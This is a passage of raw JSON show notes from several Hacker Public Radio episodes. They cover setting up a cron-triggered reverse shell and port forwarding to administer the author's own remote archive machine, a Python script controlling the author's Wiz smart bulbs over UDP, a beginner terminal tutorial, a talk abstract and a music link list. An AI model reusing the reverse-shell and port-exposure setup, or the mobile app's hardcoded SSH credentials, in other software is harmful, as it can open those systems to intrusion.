                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo my primary system has the static ip 192.168.2.11 and my secondary system has the static ip 192.168.2.12 which allows me to ssh into the secondary system from the primary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnd this means my router is at 192.168.2.1

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nYour router is likely at 192.168.1.1 because that's the most common LAN subnet.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAnyway, in the browser I open the router's control console and then I have to enter the password. If you don't know what it is you have to find out and write it down.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCheck what the defaults are for your router by searching on the internet. The defaults might work.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf they do change your login and password and write them down! Do not leave your router defaults in place. That's a big security risk.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAfter you're logged into the control console check around in the menus for Port Forwarding.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI already had to do this to make ssh work from the remote system to the secondary system. In that case I had to forward port 22 (the ssh port) from the internet to the secondary system. Here's how that works.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOn the remote system I type.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nssh indiearchive@your-static-ip-from-your-isp

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSince it's coming in as ssh that means the router sees port 22.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe router checks the port forwarding table and sees that incoming traffic using port 22 should go to the secondary system, in my case 192.168.2.12

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo the incoming ssh goes to the secondary system which is my ssh server. What a coincidence.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo in order to use port 7070 to open a tunnel from the remote system to the secondary system I have to add a row to the port forwarding table with 7070 as the port and 192.168.2.12 as the ip. Except on your LAN the ip address may be different.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nExcept it doesn't work.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI bet you guessed why. It's the firewall.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOn the secondary system type.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nsudo ufw status

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIt should show you that port 22 is allowed because otherwise you wouldn't be getting ssh traffic.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIt probably won't show you that port 7070 is allowed. So type.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nsudo ufw allow 7070

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThen check the status again and see if it shows 7070.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nHere's a nice firewall link with instructions.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nhttps://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIt still might not work even though it should. Why? Operator error. You may have typed 7000 instead of 7070. (I did that.) Or any other little typo in any of the commands.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nWhen this works you are ready to test the reverse shell. The remote system can ssh into the secondary system and we have added port 7070 to the port forwarding table on the router and to the firewall on the secondary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThis is great!

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBut how do I know when to listen and how do I get the remote system to issue the bash command that sets up the reverse shell? Remember, in the future the remote system is going to be sitting somewhere with no monitor, keyboard, or mouse.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOnly computer programmers are required to remember the future.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAfter all that setup, here's the clever bit.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI have a text file on the secondary system named letmein.txt and it's a flag with two values. The text file either reads yes or no.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIf it reads yes it means I'm here at the secondary system and I want to log into the remote system. If it reads no. Not so much. I'm not really trying to log in to the remote system at all.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThe remote system has ssh access to the secondary system since that's the way it picks up the new files, with rsync ssh. So the remote system can use rsync to copy the letmein.txt file over to it's hard drive. And it does this every five minutes, with a cron job.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nOn the remote system type sudo -s to become root.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \ncrontab -e to edit the root crontab.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAdd this line

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n*/5 * * * * /home/indiearchive/check.sh

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEvery 5 minutes the remote system runs check.sh which grabs the letmein.txt file and checks to see if it says yes or no. If it says yes it starts the reverse shell, assuming I remembered to start listening to port 7070 on the secondary system.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAfter I'm done working on the remote system while sitting at the secondary system I type exit to close the remote terminal and come back to the terminal on the secondary system. If I forgot to do something I can start listening again but if I'm done I edit letmein.txt to say no and the remote system will quit trying to set up a reverse shell every 5 minutes.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBut wait! There's more.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nEmail notifications.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI set up email notifications with mailersend for file integrity reports using curl.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTo do that I wrote a script called send.sh that takes a file name as an argument and then sends me an email with the contents of the file in the body of the email. So when I run my file integrity program if the log files are larger than they should be, it means there is a discrepancy and that log file gets emailed to me so I can check things out. (Maybe with my remote tunnel reverse shell.)

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI also check diskspace with df and send a disk space report.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nUsing send.sh when I run check.sh and detect a yes in letmein.txt I call send.sh with letmein.txt as the parameter and I get an email that says yes, meaning the remote system is trying to set up a reverse shell.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo if I change letmein.txt to yes on the secondary system and I wait five or ten minutes without getting notified I may just have to make a call.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMaybe the nice people who are hosting my remote system have lost power. Or internet. Or maybe they will have to push a button. If that doesn't work I may have to make a trip. I hope it's remotenear and not remotefar.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo when I was testing the email notifications part of check.sh and fiddling around with the code all of a sudden I quit getting notifications at all. I learned a lot about bash scripting trying to figure out what I did wrong and it turned out it wasn't me.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAfter I sent myself numerous emails saying yes from a weird email address gmail decided they were spam. So I went into my spam folder and marked the notification email as not spam. That fixed it for me but if you are setting up email notifications for Libre Indie Archive or for anything be sure you white list the email address so that the email powers that be don't suddenly decide that your notifications are spam and you quit getting important notifications.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nIn gmail you set up a filter entry with the notifier's email address and set the action to be \"Never send it to Spam\".

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nBecause getting these emails is important. First they remind me to have the secondary system listen. Then they remind me to change letmein.txt from yes to no after I'm done with the remote terminal. And while you're changing letmein.txt to no make sure the listener is off. Leaving it listening for an extended period of time is a security risk.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSo there's a lot of little moving parts involved in this. Kind of complicated but still fascinating.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAlmost done.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nI didn't think this would be so long and now I'm exhausted. I am including slightly redacted and well commented copies of check.sh and send.sh in the show notes which will be on Hacker Public Radio and on my Delta Boogie Network-Gamer+ blog at home.gamerplus.org.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nAs always, I appreciate your comments.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nThanks

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"remote, tunnel, reverse, shell, bash, rsync, ssh, archival, libre, indie, archive","version":0,"downloads":0,"valid":1}, {"id":4330,"date":"2025-03-07","title":"GIMP: Fixing Photos","duration":952,"summary":"How to fix some of the common problems in photos","notes":"

                                                            \n If you you take a lot of photos, some of them will show problems.\n But you don't need to throw them away. With GIMP, you can fix\n these common problems and restore your photos. In this episode I\n look at getting rid of fingers in photos, fixing red eyes in\n photos, and fixing common artefacts caused by a speck of dust or\n damage to the negative.

                                                            \n \"The\n

                                                            \n Links:

                                                            \n \n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Red eye, photo artifacts","version":0,"downloads":0,"valid":1}, {"id":4331,"date":"2025-03-10","title":"Re-inventing the light switch","duration":576,"summary":"Lee does some home automation with Bash, Python and Apache Cordova","notes":"\n

                                                            \nBulbs

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nWiz Connected smart light bulbs\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nExploit

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nArticle about hacking the lights\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nSource Code

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSource code of the hack\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCordova

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nApache Cordova framework for mobile apps\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCordova Plugin

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSSH Connect Cordova Plugin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nKDE Widgets

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMobile Interface

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\n\n\n\n\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nCode

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nPython Script

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nwiz-hack.py\n

                                                            \n
                                                            \nimport socket\nimport time\nimport random\nimport sys\n​\nif len(sys.argv) < 3:\n     print(help)\n     exit()\nIP = sys.argv[1]\n​\non = \"\"\"{\"params\":{\"orig\":\"andr\",\"state\":true},\"id\":6,\"method\":\"setPilot\"}\"\"\"\noff = \"\"\"{\"params\":{\"orig\":\"andr\",\"state\":false},\"id\":6,\"method\":\"setPilot\"}\"\"\"\n​\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((IP, 38899))\nif sys.argv[2] != \"on\" and sys.argv[2] != \"off\":\n   print(\"Changing lights color\")\n   b = sys.argv[2]\n   color_send = \"\"\"{\"method\":\"setPilot\",\"params\":{\"r\":\"\"\" + str(255) + \"\"\",\"g\":\"\"\" + str(255)  + \"\"\",\"b\":\"\"\" + str(255) + \"\"\",\"dimming\":\"\"\" + str(b) + \"\"\"}}\"\"\"\n   print(color_send)\n   s.sendall(bytes(color_send, \"utf-8\"))\n   s.close()\nelif sys.argv[2] == \"on\":\n    print(\"Turning on the lights\")\n    s.sendall(bytes(on, \"utf-8\"))\n    s.close()\nelif sys.argv[2] == \"off\":\n    print(\"Turning off the lights\")\n    s.sendall(bytes(off, \"utf-8\"))\n    s.close()\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nShell Scripts

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\non.sh\n

                                                            \n
                                                            \n#!/bin/sh\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 on\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 on\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 on\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 on\n​\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\noff.sh\n

                                                            \n
                                                            \n#!/bin/sh\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 off\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 off\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 off\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 off\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nlight.sh\n

                                                            \n
                                                            \n#!/bin/sh\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.94 \"$1\"\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.177 \"$1\"\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.207 \"$1\"\n/usr/bin/python /usr/local/bin/wiz-hack.py 192.168.0.254 \"$1\"\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nMobile App

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nindex.html (excerpt)\n

                                                            \n
                                                            \n...\n<h1>Light Control</h1>\n​\n<button id=\"onButton\">On</button>\n<button id=\"offButton\">Off</button>\n​\n<br><br>\n​\n<label for=\"brightnessSlider\">Brightness:</label>\n<input type=\"range\" id=\"brightnessSlider\" min=\"0\" max=\"100\" value=\"50\">\n​\n<script src=\"cordova.js\"></script>\n<script src=\"js/index.js\"></script>\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nindex.js\n

                                                            \n
                                                            \nconst user = \"user\";\nconst password = \"redacted_password\";\nconst host = \"192.168.0.218\";\nconst port = \"22\";\n​\nvar sshConnect;\n​\nfunction on() {\n   sshConnect.connect(user, password, host, port, () => {\n       sshConnect.executeCommand('on.sh', function() {\n           sshConnect.disconnect();\n       });\n   });\n}\n​\nfunction off() {\n   sshConnect.connect(user, password, host, port, () => {\n       sshConnect.executeCommand('off.sh', function() {\n           sshConnect.disconnect();\n       });\n   });\n}\n​\nfunction brightness(level) {\n   sshConnect.connect(user, password, host, port, () => {\n       sshConnect.executeCommand('light.sh '+level, function() {\n           sshConnect.disconnect();\n       });\n   });\n}    \n​\ndocument.addEventListener('deviceready', onDeviceReady, false);\n​\nfunction onDeviceReady() {\n   sshConnect = cordova.plugins.sshConnect;\n​\n   document.getElementById(\"onButton\").addEventListener(\"click\", () => {\n     // Send \"on\" command to light\n     console.log(\"Light turned on\");\n     on();\n   });\n​\n   document.getElementById(\"offButton\").addEventListener(\"click\", () => {\n     // Send \"off\" command to light\n     console.log(\"Light turned off\");\n     off();\n   });\n​\n   document.getElementById(\"brightnessSlider\").addEventListener(\"input\", () => {\n     const level = document.getElementById(\"brightnessSlider\").value;\n     // Send brightness value to light\n     console.log(\"Brightness set to:\", level);\n     brightness(level);\n   });\n}\n
                                                            \n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":403,"series":125,"explicit":0,"license":"CC-BY-SA","tags":"python, bash, cordova","version":0,"downloads":0,"valid":1}, {"id":4332,"date":"2025-03-11","title":"Top 5 mistakes every new terminal user makes","duration":1465,"summary":"And how to avoid them","notes":"\n
                                                            \n

                                                            Learning to use the terminal is an important step in becoming a\n true power user of Linux, but it’s easy (and normal) to make\n mistakes along the way. Here are the top 5 mistakes new terminal\n users make, and what you can learn from them.

                                                            \n

                                                            1. Current working directory

                                                            \n

                                                            When you first open a terminal, your current working directory\n is your home folder. You have access to all those directories\n you see in your home directory every time you open a file\n manager (Desktop, Documents, Downloads,\n Music, Pictures, and Videos).\n You can verify your location with the pwd command:

                                                            \n
                                                            $ pwd\n/home/seth
                                                            \n

                                                            You can list the files and folders within your current\n directory with the ls or dir or tree\n commands:

                                                            \n
                                                            $ ls\nDesktop  Documents  Downloads\nMusic    Pictures   Videos
                                                            \n

                                                            But you don’t usually stay in one place while using the\n terminal. You frequently move from folder to folder so you can\n open or modify or edit files. It’s easy to get lost, forgetting\n what directory you’re in and what files are around you.

                                                            \n

                                                            Lesson learned: When working in the terminal,\n it’s important to regularly verify your current working\n directory with pwd so you don’t accidentally issue\n a command you intended to run in a different location.

                                                            \n

                                                            2. Use interactive options when using\n wildcards

                                                            \n

                                                            Wildcards are great shorthand to make command entry faster, and\n to perform bulk actions on lots of files. However, they can be\n dangerous when you get them wrong.
                                                            \n It’s easy to process hundreds of the wrong files by using a\n wildcard in the wrong directory, or by using a wildcard that’s\n too broad.

                                                            \n

                                                            For example, suppose you want to run a sed\n command on all HTML files in a directory, so you run this:

                                                            \n
                                                            $ sed --in-place 's/day/night/g' *ml
                                                            \n

                                                            Job done, until you find out that you accidentally ran that\n command on all your XML files, too.

                                                            \n

                                                            Lesson learned: Run a safe test command on the\n wildcard you think you want to target before making a\n change. Some commands have a literal --dry-run\n option. Others have an --interactive option that\n forces the command to prompt you to confirm that you want to\n carry out the action. Sometimes the logic is reversed: a command\n refuses to make a major change unless you use a command (for\n example, sed doesn’t write changes to a file\n without the --in-place option or redirection).

                                                            \n

                                                            When in doubt, improvise. You can always “expand” a wildcard\n using the echo command:

                                                            \n
                                                            $ echo ./*ml\n./four.html ./one.xml ./three.html ./two.xml\n$ echo ./*tml\n./four.html ./three.html
                                                            \n

                                                            3. File paths

                                                            \n

                                                            Many new terminal users don’t understand where files are\n located within the file system. It’s not a common mistake to\n make on the desktop because there are visual reminders there.\n You wouldn’t try to double-click on a document to open it if\n there was no icon to double-click. It’s easy to assume that the\n terminal application contains all your files all at once, but\n the terminal is, by design, limited in scope. Were the terminal\n to have access to every file everywhere on your system all at\n once, you’d end up accidentally renaming and moving and copying\n a lot more files than intended. Specificity is a super power,\n and it’s defined by the file path.

                                                            \n

                                                            A file path describes where a file exists in a file system. A\n full (or “absolute”) file path always starts from the single\n folder at the start of your operating system, indicated by just\n a /, and then lists each folder within that folder\n until it traces the path to a specific file. For example, I have\n a file called IMG_0001.JPG in my Pictures\n directory. You probably have a mental image of where that file\n is and how you’d get there on the desktop. But for the terminal\n to understand how to find it, the location must be expressed as\n /home/seth/Pictures/IMG_0001.JPG.

                                                            \n

                                                            An absolute file path is definitive. The terminal always\n understands an absolute file path, no matter what your current\n working directory is.

                                                            \n

                                                            The absolute path to a file can be unwieldy, though. Once you\n understand absolute paths, you can abbreviate any path to a relative\n file path.

                                                            \n

                                                            A relative file path is based on your current location in the\n terminal. As long as you’re in the Pictures\n folder, the full path /home/seth/Pictures/IMG_0001.JPG\n can be shortened to just IMG_0001.JPG, or ./IMG_0001.JPG\n for added clarity (the . indicates no movement\n from your current location, and the / is a\n directory separator as usual).

                                                            \n

                                                            But suppose your current working directory was your home\n directory. Your Pictures folder is located in your\n home directory, so to get to IMG_0001.JPG you have\n to enter Pictures first. The relative path in that\n case is ./Pictures/IMG_0001.JPG or just Pictures/IMG_0001.JPG.

                                                            \n

                                                            Lesson learned: An absolute file path always\n starts from the start of a file system. A relative file path\n changes based on your location. The terminal understands both.\n For new users, the absolute file path is the most explicit and\n exact way to reference a file, so practice using them until\n you’re comfortable with the concept of file paths.

                                                            \n

                                                            4. Executable permissions

                                                            \n

                                                            By default, most files aren’t executable. You can’t run them\n like an application, because most files are meant to be opened in\n an application. That’s not true for shell scripts, though.

                                                            \n

                                                            Shell scripts are text files containing a list of commands, and\n they’re meant to be run like an application. They’re a powerful\n way to string existing commands together to form a new custom\n command. However, because a shell script starts out as a regular\n text file, it’s not seen by your terminal as an executable\n entity.

                                                            \n

                                                            To execute a file as an application, you can grant it\n executable permission with the chmod command:

                                                            \n
                                                            $ chmod +x ./example.sh
                                                            \n

                                                            Alternatively, you can run the file in a sub-shell:

                                                            \n
                                                            $ bash ./example.sh
                                                            \n

                                                            Notice that in these examples, I use the ./\n notation as if the example.sh shell script exists\n in my current directory.

                                                            \n

                                                            5. Typing errors

                                                            \n

                                                            It sometimes feels like the more you type, the more you’re\n getting done. In a terminal, though, typing too much is one of\n the best ways to introduce mistakes.

                                                            \n

                                                            When you try to type a long and complex command, you’re liable\n to spell something wrong or use the wrong option. When you try\n to type a filename or a file path, you might forget to escape\n special characters (like spaces). The errors aren’t usually\n catastrophic, but they’re frustrating and time consuming.

                                                            \n

                                                            Lesson learned: There are several ways to\n ensure you’re entering the correct commands into your terminal:

                                                            \n
                                                              \n
                                                            • Copy and paste: If you’re using a command\n you found on a trusted website, copy it in your browser and\n then paste it into your terminal using Ctrl+Shift+V\n or right-click and select Paste.
                                                            • \n
                                                            • TAB: You can type part of a command or file\n path, and then press the TAB key on your\n keyboard for either auto-completion or for suggested\n completions. Use it even when you don’t think you need it.\n It’ll save you errors every single time, even when\n it appears to not work (hint: it’s not working because you’re\n trying to auto-complete something that’s not where you think\n it is).
                                                            • \n
                                                            • Drag-and-drop: It’s the 21st century! You\n can drag a file or folder from anywhere on your computer, and\n drop it into your terminal. It gets replaced by its absolute\n path automatically.
                                                            • \n
                                                            \n

                                                            Practice makes perfect

                                                            \n

                                                            To get good in the terminal, you have to use it as often as you\n can. You don’t have to use it for “serious” work at first, and\n you arguably shouldn’t, but you can and should do simple\n exercises in the terminal. Understand file paths, get used to\n wildcards, learn shortcuts, use the TAB key.\n The biggest mistake you can make when learning the terminal is\n to not use the terminal, so open it up every day, do your\n exercise, and you’ll be an expert in the terminal in no time.

                                                            \n
                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, terminal","version":0,"downloads":0,"valid":1}, {"id":4333,"date":"2025-03-12","title":"A Radically Transparent Computer Without Complex VLSI","duration":1116,"summary":"Short talk about Dauug | 36, the world's most advanced transparently functioning computer.","notes":"\n

                                                            \n TITLE

                                                            \n

                                                            \n A Radically Transparent Computer Without Complex VLSI

                                                            \n

                                                            \n VENUE

                                                            \n

                                                            \n 1st IEEE Conference on Secure and Trustworthy CyberInfrastructure\n for IoT and Microelectronics (SaTC 2025), Wright State University,\n February 25-27, 2025.

                                                            \n

                                                            \n This is a recording of the final rehearsal that occurred three\n hours before this invited talk. No slides were used.

                                                            \n

                                                            \n ABSTRACT

                                                            \n

                                                            \n Foreign adversaries have colonized America’s computers from at\n least 1986. Four decades later, online safety is the largest\n failure in the history of human engineering. Radical stewardship\n in cybersecurity would bring radical progress, but responsibility\n for losses will need to flow from the bottom up. The buck stops\n with victims, who must accept all blame for cyberattacks. Only\n then will people at risk properly vet the products and vendors\n they select.

                                                            \n

                                                            \n A leading challenge in stewardship is balancing the opaque,\n proprietary nature of VLSI complex logic with the owner’s need for\n complete control. Since these aspects are incompatible and owner\n control is essential, it’s necessary to design computers that\n avoid complex VLSI entirely. One such architecture, Dauug | 36, is\n being developed at Wright State University to deliver 36-bit\n computing, preemptive multitasking, paged virtual memory, and\n hundreds of opcodes, all without using a single microprocessor or\n anything like one.

                                                            \n

                                                            \n BIOGRAPHY

                                                            \n

                                                            \n Marc Abel is an engineer-scientist specializing in technology that\n supports civil rights, economic security, and geopolitical\n stability. He holds a 1991 B.S. in Engineering and Applied Science\n (focused on computer science) from Caltech, and a 2022 Ph.D. in\n Computer Science and Engineering from Wright State University.

                                                            \n

                                                            \n Marc is the sole inventor, architect, implementer, maintainer,\n documenter, and promoter of the Dauug | 36 open-source\n minicomputer for critical infrastructure. He is the original and\n still only author of Dauug | 36’s firmware, designer and\n implementer of Dauug | 36’s assembly language and assemblers,\n writer of several related software tools, especially open-source\n electronic design automation and simulation tools, and the sole\n author of Osmin, a real-time operating system (RTOS) kernel for\n the architecture. He is the writer of 200,000 words of system\n documentation, including his dissertation and its online\n continuation called The Dauug House.

                                                            \n

                                                            \n
                                                            \n

                                                            ","hostid":443,"series":0,"explicit":0,"license":"CC-BY","tags":"Dauug|36, solder-defined computers, transparently functioning computers, cybersecurity","version":0,"downloads":0,"valid":1}, {"id":4334,"date":"2025-03-13","title":"24-25 New Years Eve show episode 3","duration":6691,"summary":"The HPR community comes together to say happy new year and chat","notes":"\n

                                                            \n
                                                            \n

                                                            \n

                                                            \n-----------------

                                                            \n

                                                            \nNYE 2025 3

                                                            \n

                                                            \n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nViolin \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Violin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.yamaha.com/en/musical_instrument_guide/violin/structure/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nViola \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Viola\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nViolin Vs Viola \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.gear4music.com/blog/viola-vs-violin/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nGuitar \n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Guitar\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nGuitar Frets

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.liveabout.com/what-guitar-frets-are-and-why-they-matter-4686563\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNyckelharpa (aka Key Harp)\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.nyckelharpa.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://en.wikipedia.org/wiki/Nyckelharpa\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nAspbergers Syndrome\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.webmd.com/brain/autism/mental-health-aspergers-syndrome\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMumble\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.mumble.info/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJitsi\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://jitsi.org/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSweden and the relationship with the Nyckelharpa\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://ich.unesco.org/en/BSP/nyckelharpa-network-an-innovative-dissemination-of-a-music-and-instrument-building-tradition-with-roots-in-sweden-01976\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nClarinet\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.yamaha.com/en/musical_instrument_guide/clarinet/structure/structure002.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMandolin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.britannica.com/art/mandolin\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nLap Steel Guitar\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttp://www.frets.com/FretsPages/General/Glossary/LapSteel/lapsteel.html\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nJacksonville, Florida\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.jacksonville.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nBoston\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.boston.gov/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nUrban Sprawl\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://campuspress.yale.edu/ledger/urban-sprawl-a-growing-problem/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nFort Myers, Florida\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.cityftmyers.com/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nSouth Carolina\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.britannica.com/place/South-Carolina\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nNorth Cackalacky\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://avltoday.6amcity.com/examining-the-origins-of-ncs-nickname-north-cackalacky\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nMissoula, Montana\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.ci.missoula.mt.us/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nCloud Chamber\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://www.iop.org/explore-physics/physics-around-you/understanding-surroundings/cloud-chamber\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nVinyl Records\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\nhttps://victrola.com/blogs/articles/how-do-vinyl-records-work\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

